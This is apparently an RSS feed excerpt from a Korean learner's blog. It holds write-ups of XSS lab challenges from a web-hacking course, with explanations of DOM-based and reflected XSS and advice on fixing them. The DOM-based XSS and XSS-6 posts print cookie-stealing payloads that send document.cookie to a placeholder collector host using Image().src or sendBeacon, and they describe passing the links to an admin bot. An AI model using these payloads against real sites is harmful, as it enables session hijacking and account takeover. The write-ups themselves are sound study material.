&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  궁금증: 왜 리피터(Repeater)에서는 안 될까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;왜 리피터에서 Send를 누르면 쿠키가 안 오는데, 브라우저에 직접 입력하면 올까?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;✅ 리피터와 브라우저의 결정적 차이&lt;/b&gt;&lt;br /&gt;1. &lt;b&gt;자바스크립트 실행 엔진:&lt;/b&gt; Burp Suite의 &lt;b&gt;Repeater&lt;/b&gt;는 단순한 HTTP 클라이언트. 서버에 요청을 보내고 돌아오는 '응답 전문(텍스트)'을 그대로 보여줄 뿐이지, 그 안에 들어있는 &lt;b&gt;자바스크립트 코드를 실행(Execute)하지 않음.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;2. &lt;b&gt;DOM-based XSS의 특성:&lt;/b&gt; 우리가 넣은 공격 코드는 서버가 실행해 주는 게 아니라, 브라우저가 HTML을 읽고 렌더링하면서 JS 엔진이 돌아갈 때 비로소 실행. &lt;br /&gt;&lt;br /&gt;3. &lt;b&gt;결론:&lt;/b&gt; 리피터로 보냈을 때는 서버가 &quot;자 여기 네가 요청한 HTML 텍스트야&quot;라고만 답하고 끝난 것이고, &lt;b&gt;브라우저에 입력했을 때는 브라우저가 그 텍스트를 받아서 &quot;오, 여기 자바스크립트가 있네? 실행해야지!&quot;&lt;/b&gt;라고 작동했기 때문에 쿠키가 전송됨. --&amp;gt; 아마도 Stored XSS와 reflected, DOM-based XSS의 차이에서 기인한게 아닐까 생각됨. 즉, XSS 공격 포인트까지는 Burp로 찾더라도 실제 공격 시에는 반드시 브라우저에서 테스트 해봐야하는 것 같음&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 최종 공격 성공&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 만든 공격 URL을 관리자 봇에게 전달했고, 예상대로 브라우저 환경에서 스크립트가 실행되면서 관리자의 세션 쿠키를 무사히 획득할 수 있었다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  보안 분석 및 소감&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 DOM 객체에 접근하는 다양한 방식을 익힐 수 있는 좋은 기회였다. 특히 도구(Burp Suite)의 한계와 실제 브라우저 환경의 차이를 명확히 이해하는 것이 얼마나 중요한지 다시 한번 깨닫게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 기본적인 스크립트 활용법은 마스터한 것 같다! 다음 단계로 넘어가 보자.  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>DOM-based XSS</category>
      <category>Normaltic</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>금융보안원</category>
      <category>노말틱</category>
      <category>웹해킹</category>
      <category>크로스사이트스크립트</category>
      <category>크사</category>
      <category>해린이</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/28</guid>
      <comments>https://herini0829.tistory.com/28#entry28comment</comments>
      <pubDate>Fri, 2 Jan 2026 09:24:22 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-Challenge</title>
      <link>https://herini0829.tistory.com/27</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ XSS-Challenge 문제 풀이: 브라우저를 속이는 DOM-based XSS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드디어 'XSS'라는 타이틀이 붙은 마지막 문제에 도달했다. 이번 문제는 지금까지 풀었던 문제들과는 결이 조금 달랐다. 서버가 내 입력값을 HTML에 직접 박아넣는 게 아니라, 브라우저가 스스로 내 코드를 실행하게 만드는 방식이었기 때문이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 삽질의 시작: &quot;Response에 내 값이 없다?&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색창에 특정 키워드를 입력하면 화면 하단에 &lt;code&gt;'ㅇㅇㅇ'에 대한 검색 결과가 없습니다.&lt;/code&gt;라는 메시지가 뜬다. 당연히 서버 응답(Response)에 이 텍스트가 있을 줄 알고 Burp Suite로 확인해봤는데, 아무리 찾아도 내가 입력한 값이 보이질 않았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nq12A/dJMcadUVjlR/5p8uutP55uYXAC5wKasrlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nq12A/dJMcadUVjlR/5p8uutP55uYXAC5wKasrlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nq12A/dJMcadUVjlR/5p8uutP55uYXAC5wKasrlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnq12A%2FdJMcadUVjlR%2F5p8uutP55uYXAC5wKasrlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;327&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;분명 화면엔 나오는데 왜 패킷엔 없지?&quot;&lt;/b&gt; 귀신이 곡할 노릇이었다. 하지만 정답은 엉뚱하게도 소스 코드 안에 숨겨진 자바스크립트에 있었다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 코드 분석: 범인은 document.write&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스 코드를 뜯어보니 아래와 같은 수상한 스크립트가 실행되고 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eHlPYq/dJMcaioq5v3/NW8qlkUkFrvOB45Dl7eHjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eHlPYq/dJMcaioq5v3/NW8qlkUkFrvOB45Dl7eHjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eHlPYq/dJMcaioq5v3/NW8qlkUkFrvOB45Dl7eHjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeHlPYq%2FdJMcaioq5v3%2FNW8qlkUkFrvOB45Dl7eHjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;516&quot; height=&quot;217&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내용을 분석해보면 이렇다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL 파라미터 중 &lt;code&gt;board_result&lt;/code&gt;라는 변수의 값을 가져와서 &lt;code&gt;keyword&lt;/code&gt;라는 변수에 저장한다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;document.getElementById('search_addr').value = keyword;&lt;/code&gt;: 검색창에 내가 방금 검색한 내용을 다시 채워넣는다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;document.write(keyword + '에 대한 검색 결과가 없습니다.');&lt;/code&gt;: &lt;b&gt;(핵심)&lt;/b&gt; 페이지 하단에 해당 키워드를 포함한 문구를 직접 써넣는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 서버는 그냥 스크립트 뼈대만 던져준 것이고, 실제 화면을 구성하는 건 내 브라우저에서 돌아가는 자바스크립트였던 것이다!&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  지식 더하기: 왜 이게 일반 XSS랑 다른가요? (DOM-based XSS)&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  DOM-based XSS란?&lt;/b&gt;&lt;br /&gt;우리가 지금까지 풀었던 대부분의 문제는 서버가 내 입력값을 받아서 HTML 페이지를 만들 때 그 값을 끼워 넣는 &lt;b&gt;Reflected XSS&lt;/b&gt;였어. 하지만 이 문제는 서버의 개입 없이, 브라우저에 이미 존재하는 자바스크립트가 URL의 파라미터를 읽어와서 화면(DOM)에 그대로 출력하면서 발생해.&lt;br /&gt;&lt;br /&gt;이런 경우 &lt;b&gt;서버는 악성 코드가 포함된 파라미터를 봐도 &quot;그냥 데이터네?&quot; 하고 넘기기 때문에&lt;/b&gt; 서버 측 필터링을 우회하기가 훨씬 쉽다는 특징이 있어.&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 공격 실행 및 성공&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원리를 알았으니 공격은 간단하다. &lt;code&gt;keyword&lt;/code&gt; 변수에 들어갈 값에 스크립트 태그를 통째로 넣어주면 된다. &lt;code&gt;document.write&lt;/code&gt;는 HTML 태그를 있는 그대로 렌더링하기 때문에, 내가 넣은 스크립트가 즉시 실행된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt; &amp;lt;script&amp;gt;var i=new Image();i.src='https://[내-Beeceptor-주소]/?c='+document.cookie;&amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 검색창에 넣고 실행하면, &lt;code&gt;document.write&lt;/code&gt;가 실행되는 순간 내 쿠키 정보가 담긴 이미지가 공격자 서버로 요청되게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;209&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6DfoH/dJMcacuZYlv/jVigt6PiVh7xrScXPzrhY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6DfoH/dJMcacuZYlv/jVigt6PiVh7xrScXPzrhY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6DfoH/dJMcacuZYlv/jVigt6PiVh7xrScXPzrhY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6DfoH%2FdJMcacuZYlv%2FjVigt6PiVh7xrScXPzrhY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;933&quot; height=&quot;209&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;209&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  보안 분석 및 소감&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 &lt;b&gt;&quot;데이터와 코드를 엄격히 분리하지 않았을 때&quot;&lt;/b&gt; 발생하는 보안 위협을 잘 보여준다. 개발자가 편의를 위해 사용한 &lt;code&gt;document.write&lt;/code&gt;나 &lt;code&gt;innerHTML&lt;/code&gt; 같은 함수들이 얼마나 위험한지 깨달을 수 있었다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;✅ 해결책 정리&lt;/b&gt;&lt;br /&gt;1. &lt;b&gt;안전한 함수 사용:&lt;/b&gt; &lt;code&gt;document.write&lt;/code&gt; 대신 텍스트만 렌더링하는 &lt;code&gt;innerText&lt;/code&gt;나 &lt;code&gt;textContent&lt;/code&gt;를 사용해야 한다.&lt;br /&gt;2. &lt;b&gt;DOM Purify:&lt;/b&gt; 클라이언트 사이드에서도 사용자 입력을 출력하기 전에는 반드시 위험한 태그를 걸러주는 라이브러리를 사용해야 한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로써 XSS 시리즈의 긴 여정이 끝났다! 단순히 스크립트를 주입하는 것을 넘어 서버와 클라이언트의 통신 구조, 브라우저의 렌더링 방식까지 깊게 고민해 볼 수 있었던 좋은 시간이었다. 이제 다음 챌린지로 고고!  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>DOM-based XSS</category>
      <category>ISMS-P</category>
      <category>Normaltic</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>금융보안원</category>
      <category>노말틱</category>
      <category>크로스사이트스크립트</category>
      <category>크사</category>
      <category>해린이</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/27</guid>
      <comments>https://herini0829.tistory.com/27#entry27comment</comments>
      <pubDate>Fri, 2 Jan 2026 08:35:08 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-6</title>
      <link>https://herini0829.tistory.com/26</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ XSS-6 문제 풀이: 리다이렉트 간섭 우회와 비동기 전송 기법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드디어 XSS 시리즈의 마지막 6번 문제다. 이번 문제는 로그인 페이지라는 아주 기초적인 지점에서 취약점을 찾았지만, 브라우저의 실행 우선순위와 전송 프로토콜의 특성을 제대로 이해해야 풀 수 있는 고난도 문제였다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 로그인 페이지의 허점 발견&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판을 다 뒤져도 실마리가 안 보여서 결국 처음으로 돌아와 로그인 페이지를 파헤쳤다. 존재하지 않는 ID로 로그인을 시도할 때 뜨는 경고창 문구가 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 내의 &lt;code&gt;alert()&lt;/code&gt; 함수에 그대로 삽입되는 것을 확인했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4n0JI/dJMcagEaVQK/PvOa6rWSVSSs3Y6x60kDH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4n0JI/dJMcagEaVQK/PvOa6rWSVSSs3Y6x60kDH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4n0JI/dJMcagEaVQK/PvOa6rWSVSSs3Y6x60kDH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4n0JI%2FdJMcagEaVQK%2FPvOa6rWSVSSs3Y6x60kDH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;439&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 구조는 &lt;code&gt;alert('[ 입력값 ] 등록되지 않은 사용자입니다.')&lt;/code&gt; 였고, &lt;code&gt;')&lt;/code&gt;를 사용해 문법을 닫고 내 코드를 주입하는 전략을 세웠다. Burp에서 직접 날려야 하기에 URL 인코딩까지 고려하여 페이로드를 작성했다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. POST를 GET으로 전환: &quot;전달성 확보&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인은 기본적으로 POST 방식이지만, 공격자가 관리자에게 링크를 보내 클릭하게 만들려면 파라미터가 URL에 포함되는 &lt;b&gt;GET 방식&lt;/b&gt;이 필요했다. Burp Suite에서 Method를 GET으로 바꿨을 때 서버가 동일하게 응답하는 것을 확인하고 본격적인 공격에 들어갔다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VwAu7/dJMb99LMSKV/95cCcE1iBbKKtkrCXmTnGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VwAu7/dJMb99LMSKV/95cCcE1iBbKKtkrCXmTnGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VwAu7/dJMb99LMSKV/95cCcE1iBbKKtkrCXmTnGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVwAu7%2FdJMb99LMSKV%2F95cCcE1iBbKKtkrCXmTnGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;490&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-size: 1.44em; letter-spacing: -1px;&quot;&gt;3. 난관: &quot;코드는 맞는데 왜 쿠키가 안 올까?&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명 완벽한 페이로드인데 Beeceptor에 로그가 남지 않았다. 한참 고민 끝에 원인을 찾았다. 공격 코드 바로 밑에 있는 &lt;code&gt;location.href='login.html'&lt;/code&gt; 스크립트가 문제였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자바스크립트의 이미지 요청(Image().src)은 비동기적으로 처리되는데, 브라우저 환경에 따라 이 요청이 완료되기도 전에 페이지를 이동(리다이렉트)시켜버려 네트워크 연결이 강제로 끊긴 것이었다. 이를 해결하기 위해 두 가지 조치를 시도했다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;방법 1: 뒤의 스크립트를 주석 처리(&lt;code&gt;&amp;lt;!--&lt;/code&gt;)로 날려버리기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 코드 뒤에 HTML 주석인 &lt;code&gt;&amp;lt;!--&lt;/code&gt;를 붙여서, 뒤에 이어지는 리다이렉트 코드가 아예 읽히지 않도록 만드는 방식이다. 브라우저가 이동하지 않고 멈춰 있게 되어 이미지 요청이 성공한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt; ')+var+i=new+Image();i.src='https://[내-서버]/?c='%2Bdocument.cookie;&amp;lt;!--&lt;/div&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;방법 2: &lt;code&gt;navigator.sendBeacon()&lt;/code&gt; 사용하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지가 종료되거나 이동할 때도 비동기적으로 데이터를 전송하도록 설계된 &lt;code&gt;sendBeacon&lt;/code&gt; 함수를 사용했다. 리다이렉트와 상관없이 쿠키를 안전하게 쏠 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt; ') navigator.sendBeacon('https://[내-서버]/?c=', document.cookie);('&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  궁금증: sendBeacon 이용할 때 왜 GET으로 브라우저에 직접 입력할 때만 성공할까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;sendBeacon은 POST 방식인데, 왜 GET으로 브라우저에 직접 때려야만 쿠키가 들어오는가?&quot;&lt;/b&gt;에 대한 기술적 답변이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;✅ 핵심은 '자바스크립트 실행 엔진'의 유무&lt;/b&gt;&lt;br /&gt;1. &lt;b&gt;Burp Repeater가 안 되는 이유:&lt;/b&gt; 리피터는 서버로부터 받은 '텍스트(HTML)'를 보여줄 뿐이다. 즉, 그 안의 자바스크립트를 **실행(Execute)**하지 않는다. &lt;code&gt;sendBeacon&lt;/code&gt;이나 &lt;code&gt;Image().src&lt;/code&gt;는 브라우저가 코드를 읽고 실행해야 작동하는 기능이므로 리피터에서는 절대로 로그가 찍히지 않는다.&lt;br /&gt;2. &lt;b&gt;브라우저 GET 입력이 성공하는 이유:&lt;/b&gt; 주소창에 GET 방식 URL을 넣으면 **브라우저가 HTML을 렌더링하면서 JS를 실행**한다. 이때 비로소 공격 코드가 동작하여 내 서버로 요청을 보내게 된다.&lt;br /&gt;3. &lt;b&gt;POST가 어려운 이유:&lt;/b&gt; 주소창(Address Bar)은 기본적으로 GET 방식만 지원한다. POST 요청을 브라우저에 직접 &quot;입력&quot;하는 것은 불가능하며, 폼(Form) 전송 등의 추가 과정이 없으면 JS 엔진이 돌아갈 기회가 없기 때문이다.&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 결론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 링크를 관리자 봇에게 접속하게 하면 성공적으로 플래그를 획득할 수 있다. 단순히 스크립트 구문을 완성하는 것을 넘어, 브라우저가 코드를 읽고 페이지를 넘기는 찰나의 타이밍까지 고려해야 했던 아주 값진 실습이었다. 끝!  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>ISMS-P</category>
      <category>Reflected XSS</category>
      <category>sendBeacon</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>노말틱</category>
      <category>웹해킹</category>
      <category>크로스사이트스크립팅</category>
      <category>크사</category>
      <category>해린이</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/26</guid>
      <comments>https://herini0829.tistory.com/26#entry26comment</comments>
      <pubDate>Wed, 31 Dec 2025 14:55:33 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-5</title>
      <link>https://herini0829.tistory.com/25</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ XSS-5 문제 풀이: 응답 변조(Response Intercept)를 통한 보안 스크립트 무력화&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 시리즈의 대미를 장식할 5번 문제다. 이번 문제는 지금까지와는 차원이 달랐다. 단순히 문법을 맞추는 게 아니라, 브라우저가 나를 감시하려고 심어놓은 '보안 스크립트' 자체를 없애버려야 했기 때문이다. 역대급으로 어려웠던 만큼 해결했을 때의 쾌감도 컸다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 탐색 단계: 공격 포인트 발견&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;평소처럼 여러 곳을 찔러보다가, 게시글을 '수정'하는 과정에서 발생하는 트래픽을 유심히 살펴봤다. 그러다 드디어 &lt;code&gt;input&lt;/code&gt; 태그의 &lt;code&gt;value&lt;/code&gt; 속성 안에서 내가 입력한 값이 그대로 반환되는 지점을 찾아냈다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HMYln/dJMcagjQBMu/IK795t7ShQKsEnOYxxIlD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HMYln/dJMcagjQBMu/IK795t7ShQKsEnOYxxIlD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HMYln/dJMcagjQBMu/IK795t7ShQKsEnOYxxIlD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHMYln%2FdJMcagjQBMu%2FIK795t7ShQKsEnOYxxIlD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;370&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;value=&quot;내가_넣은_값&quot;&lt;/code&gt; 형태이므로, 따옴표(&lt;code&gt;&quot;&lt;/code&gt;)로 속성을 닫고 이벤트 핸들러를 주입하면 될 것 같았다. 바로 공격 코드를 짜서 글을 올리고 관리자 봇에게 보냈다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 첫 번째 위기: &quot;관리자가 알아차렸습니다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당연히 성공할 줄 알았는데, 예상치 못한 경고창이 떴다. &quot;일정 수 이상의 alert는 의심스럽습니다&quot;라며 관리자가 공격을 눈치챘다는 메시지였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pLyb8/dJMcaiWeND3/YfluZsk2pWRs7nTDLuOz6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pLyb8/dJMcaiWeND3/YfluZsk2pWRs7nTDLuOz6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pLyb8/dJMcaiWeND3/YfluZsk2pWRs7nTDLuOz6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpLyb8%2FdJMcaiWeND3%2FYfluZsk2pWRs7nTDLuOz6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 